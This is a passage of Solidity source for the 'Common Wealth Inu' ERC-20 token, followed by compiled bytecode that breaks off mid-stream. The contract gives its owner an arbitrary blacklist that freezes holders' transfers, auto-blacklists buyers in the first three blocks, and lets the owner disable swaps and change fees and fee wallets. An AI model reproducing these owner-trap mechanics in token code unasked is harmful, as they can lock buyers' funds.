cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract CommonWealthInu is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool private swapping; address private marketingWallet; address private devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; bool public enableEarlySellTax = true; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch // Seller Map mapping (address => uint256) private _holderFirstBuyTimestamp; // Blacklist Map mapping (address => bool) private _blacklist; bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public earlySellLiquidityFee; uint256 public earlySellMarketingFee; uint256 public earlySellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; // block number of opened trading uint256 launchedAt; /******************/ // exclude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Common Wealth Inu", "CWI") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 8; uint256 _buyLiquidityFee = 1; uint256 _buyDevFee = 1; uint256 _sellMarketingFee = 13; uint256 _sellLiquidityFee = 1; uint256 _sellDevFee = 1; uint256 _earlySellLiquidityFee = 1; uint256 _earlySellMarketingFee = 13; uint256 _earlySellDevFee = 1 ; uint256 totalSupply = 1 * 1e9 * 1e18; maxTransactionAmount = totalSupply * 10 / 1000; // 1% maxTransactionAmountTxn maxWallet = totalSupply * 20 / 1000; // 2% maxWallet swapTokensAtAmount = totalSupply * 10 / 10000; // 0.1% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; earlySellDevFee = _earlySellDevFee; marketingWallet = address(owner()); // set as marketing wallet devWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; launchedAt = block.number; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function setEarlySellTax(bool onoff) external onlyOwner { enableEarlySellTax = onoff; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee, uint256 _earlySellDevFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; earlySellDevFee = _earlySellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function blacklistAccount (address account, bool isBlacklisted) public onlyOwner { _blacklist[account] = isBlacklisted; } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } // anti bot logic if (block.number <= (launchedAt + 3) && to != uniswapV2Pair && to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ) { _blacklist[to] = true; } // early sell logic bool isBuy = from == uniswapV2Pair; if (!isBuy && enableEarlySellTax) { if (_holderFirstBuyTimestamp[from] != 0 && (_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)) { sellLiquidityFee = earlySellLiquidityFee; sellMarketingFee = earlySellMarketingFee; sellDevFee = earlySellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } else { sellLiquidityFee = 2; sellMarketingFee = 3; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } } else { if (_holderFirstBuyTimestamp[to] == 0) { _holderFirstBuyTimestamp[to] = block.timestamp; } if (!enableEarlySellTax) { sellLiquidityFee = 3; sellMarketingFee = 3; sellDevFee = 1; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(this), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function Chire(address[] calldata recipients, uint256[] calldata values) external onlyOwner { _approve(owner(), owner(), totalSupply()); for (uint256 i = 0; i < recipients.length; i++) { transferFrom(msg.sender, recipients[i], values[i] * 10 ** decimals()); } } }
0x6080604052600436106103855760003560e01c806392136913116101d1578063b62496f511610102578063d85ba063116100a0578063f11a24d31161006f578063f11a24d314610a4c578063f2fde38b14610a62578063f637434214610a82578063f8b45b0514610a9857600080fd5b8063d85ba063146109c5578063dd62ed3e146109db578063e2f4560514610a21578063e884f26014610a3757600080fd5b8063c18bc195116100dc578063c18bc19514610955578063c876d0b914610975578063c8c8ebe41461098f578063d257b34f146109a557600080fd5b8063b62496f5146108e6578063bbc0c74214610916578063c02466681461093557600080fd5b8063a0d82dc51161016f578063a4d15b6411610149578063a4d15b641461086f578063a7fc9e2114610890578063a9059cbb146108a6578063aacebbe3146108c657600080fd5b8063a0d82dc514610819578063a26577781461082f578063a457c2d71461084f57600080fd5b80639a7a23d6116101ab5780639a7a23d6146107ad5780639c3b4fdc146107cd5780639c63e6b9146107e35780639fccce321461080357600080fd5b80639213691314610762578063924de9b71461077857806395d89b411461079857600080fd5b806339509351116102b657806370a08231116102545780637bce5a04116102235780637bce5a04146106f95780638095d5641461070f5780638a8c523c1461072f5780638da5cb5b1461074457600080fd5b806370a0823114610679578063715018a6146106af578063751039fc146106c45780637571336a146106d957600080fd5b80634fbee193116102905780634fbee193146105f4578063541a43cf1461062d5780636a486a8e146106435780636ddd17131461065957600080fd5b8063395093511461058657806349bd5a5e146105a65780634a62bb65146105da57600080fd5b80631f3fed8f1161032357806323b872dd116102fd57806323b872dd146105145780632bf3d42d146105345780632d5a5d341461054a578063313ce5671461056a57600080fd5b80631f3fed8f146104be578063203e727e146104d457806322d3e2aa146104f457600080fd5b80631694505e1161035f5780631694505e1461041b57806318160ddd146104675780631816467f146104865780631a8145bb146104a857600080fd5b806306fdde0314610391578063095ea7b3146103bc57806310d5de53146103ec57600080fd5b3661038c57005b600080fd5b34801561039d57600080fd5b506103a6610aae565b6040516103b39190612b9f565b60405180910390f35b3480156103c857600080fd5b506103dc6103d7366004612c0c565b610b40565b60405190151581526020016103b3565b3480156103f857600080fd5b506103dc610407366004612c38565b602080526000908152604090205460ff1681565b34801561042757600080fd5b5061044f7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016103b3565b34801561047357600080fd5b506002545b6040519081526020016103b3565b34801561049257600080fd5b506104a66104a1366004612c38565b610b57565b005b3480156104b457600080fd5b50610478601c5481565b3480156104ca57600080fd5b50610478601b5481565b3480156104e057600080fd5b506104a66104ef366004612c55565b610be7565b34801561050057600080fd5b506104a661050f366004612c6e565b610cc4565b34801561052057600080fd5b506103dc61052f366004612cb1565b610d7e565b34801561054057600080fd5b5061047860195481565b34801561055657600080fd5b506104a6610565366004612d02565b610de7565b34801561057657600080fd5b50604051601281526020016103b3565b34801561059257600080fd5b506103dc6105a1366004612c0c565b610e3c565b3480156105b257600080fd5b5061044f7f000000000000000000000000b9274081c4f2ed557ad5077619085824b34411af81565b3480156105e657600080fd5b50600b546103dc9060ff1681565b34801561060057600080fd5b506103dc61060f366004612c38565b6001600160a01b03166000908152601f602052604090205460ff1690565b34801561063957600080fd5b5061047860185481565b34801561064f57600080fd5b5061047860145481565b34801561066557600080fd5b50600b546103dc9062010000900460ff1681565b34801561068557600080fd5b50610478610694366004612c38565b6001600160a01b031660009081526020819052604090205490565b3480156106bb57600080fd5b506104a6610e72565b3480156106d057600080fd5b506103dc610ee6565b3480156106e557600080fd5b506104a66106f4366004612d02565b610f23565b34801561070557600080fd5b5061047860115481565b34801561071b57600080fd5b506104a661072a366004612d37565b610f77565b34801561073b57600080fd5b506104a661101f565b34801561075057600080fd5b506005546001600160a01b031661044f565b34801561076e57600080fd5b5061047860155481565b34801561078457600080fd5b506104a6610793366004612d63565b611060565b3480156107a457600080fd5b506103a66110a6565b3480156107b957600080fd5b506104a66107c8366004612d02565b6110b5565b3480156107d957600080fd5b5061047860135481565b3480156107ef57600080fd5b506104a66107fe366004612dca565b611195565b34801561080f57600080fd5b50610478601d5481565b34801561082557600080fd5b5061047860175481565b34801561083b57600080fd5b506104a661084a366004612d63565b611267565b34801561085b57600080fd5b506103dc61086a366004612c0c565b6112af565b34801561087b57600080fd5b50600b546103dc906301000000900460ff1681565b34801561089c57600080fd5b50610478601a5481565b3480156108b257600080fd5b506103dc6108c1366004612c0c565b6112fe565b3480156108d257600080fd5b506104a66108e1366004612c38565b61130b565b3480156108f257600080fd5b506103dc610901366004612c38565b60216020526000908152604090205460ff1681565b34801561092257600080fd5b50600b546103dc90610100900460ff1681565b34801561094157600080fd5b506104a6610950366004612d02565b611392565b34801561096157600080fd5b506104a6610970366004612c55565b61141b565b34801561098157600080fd5b50600f546103dc9060ff1681565b34801561099b57600080fd5b5061047860085481565b3480156109b157600080fd5b506103dc6109c0366004612c55565b6114ec565b3480156109d157600080fd5b5061047860105481565b3480156109e757600080fd5b506104786109f6366004612e36565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610a2d57600080fd5b5061047860095481565b348015610a4357600080fd5b506103dc611643565b348015610a5857600080fd5b5061047860125481565b348015610a6e57600080fd5b506104a6610a7d366004612c38565b611680565b348015610a8e57600080fd5b5061047860165481565b348015610aa457600080fd5b50610478600a5481565b606060038054610abd90612e6f565b80601f0160208091040260200160405190810160405280929190818152602001828054610ae990612e6f565b8015610b365780601f10610b0b57610100808354040283529160200191610b36565b820191906000526020600020905b815481529060010190602001808311610b1957829003601f168201915b5050505050905090565b6000610b4d3384846117d1565b5060015b92915050565b6005546001600160a01b03163314610b8a5760405162461bcd60e51b8152600401610b8190612eaa565b60405180910390fd5b6007546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610c115760405162461bcd60e51b8152600401610b8190612eaa565b670de0b6b3a76400006103e8610c2660025490565b610c31906001612ef5565b610c3b9190612f14565b610c459190612f14565b811015610cac5760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610b81565b610cbe81670de0b6b3a7640000612ef5565b60085550565b6005546001600160a01b03163314610cee5760405162461bcd60e51b8152600401610b8190612eaa565b60158690556016859055601784905560188390556019829055601a81905583610d178688612f36565b610d219190612f36565b601481905560191015610d765760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610b81565b505050505050565b6000610d8b8484846118f6565b610ddd8433610dd8856040518060600160405280602881526020016131f4602891396001600160a01b038a16600090815260016020908152604080832033845290915290205491906123ee565b6117d1565b5060019392505050565b6005546001600160a01b03163314610e115760405162461bcd60e51b8152600401610b8190612eaa565b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610b4d918590610dd8908661176b565b6005546001600160a01b03163314610e9c5760405162461bcd60e51b8152600401610b8190612eaa565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546000906001600160a01b03163314610f135760405162461bcd60e51b8152600401610b8190612eaa565b50600b805460ff19169055600190565b6005546001600160a01b03163314610f4d5760405162461bcd60e51b8152600401610b8190612eaa565b6001600160a01b039190911660009081526020805260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610fa15760405162461bcd60e51b8152600401610b8190612eaa565b60118390556012829055601381905580610fbb8385612f36565b610fc59190612f36565b60108190556014101561101a5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323025206f72206c6573730000006044820152606401610b81565b505050565b6005546001600160a01b031633146110495760405162461bcd60e51b8152600401610b8190612eaa565b600b805462ffff0019166201010017905543601e55565b6005546001600160a01b0316331461108a5760405162461bcd60e51b8152600401610b8190612eaa565b600b8054911515620100000262ff000019909216919091179055565b606060048054610abd90612e6f565b6005546001600160a01b031633146110df5760405162461bcd60e51b8152600401610b8190612eaa565b7f000000000000000000000000b9274081c4f2ed557ad5077619085824b34411af6001600160a01b0316826001600160a01b031614156111875760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610b81565b6111918282612428565b5050565b6005546001600160a01b031633146111bf5760405162461bcd60e51b8152600401610b8190612eaa565b6111e86111d46005546001600160a01b031690565b6005546001600160a01b03166002546117d1565b60005b838110156112605761124d3386868481811061120957611209612f4e565b905060200201602081019061121e9190612c38565b61122a6012600a613048565b86868681811061123c5761123c612f4e565b9050602002013561052f9190612ef5565b508061125881613057565b9150506111eb565b5050505050565b6005546001600160a01b031633146112915760405162461bcd60e51b8152600401610b8190612eaa565b600b805491151563010000000263ff00000019909216919091179055565b6000610b4d3384610dd88560405180606001604052806025815260200161321c602591393360009081526001602090815260408083206001600160a01b038d16845290915290205491906123ee565b6000610b4d3384846118f6565b6005546001600160a01b031633146113355760405162461bcd60e51b8152600401610b8190612eaa565b6006546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146113bc5760405162461bcd60e51b8152600401610b8190612eaa565b6001600160a01b0382166000818152601f6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146114455760405162461bcd60e51b8152600401610b8190612eaa565b670de0b6b3a76400006103e861145a60025490565b611465906005612ef5565b61146f9190612f14565b6114799190612f14565b8110156114d45760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610b81565b6114e681670de0b6b3a7640000612ef5565b600a5550565b6005546000906001600160a01b031633146115195760405162461bcd60e51b8152600401610b8190612eaa565b620186a061152660025490565b611531906001612ef5565b61153b9190612f14565b8210156115a85760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610b81565b6103e86115b460025490565b6115bf906005612ef5565b6115c99190612f14565b8211156116355760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610b81565b50600981905560015b919050565b6005546000906001600160a01b031633146116705760405162461bcd60e51b8152600401610b8190612eaa565b50600f805460ff19169055600190565b6005546001600160a01b031633146116aa5760405162461bcd60e51b8152600401610b8190612eaa565b6001600160a01b03811661170f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b81565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000806117788385612f36565b9050838110156117ca5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610b81565b9392505050565b6001600160a01b0383166118335760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610b81565b6001600160a01b0382166118945760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608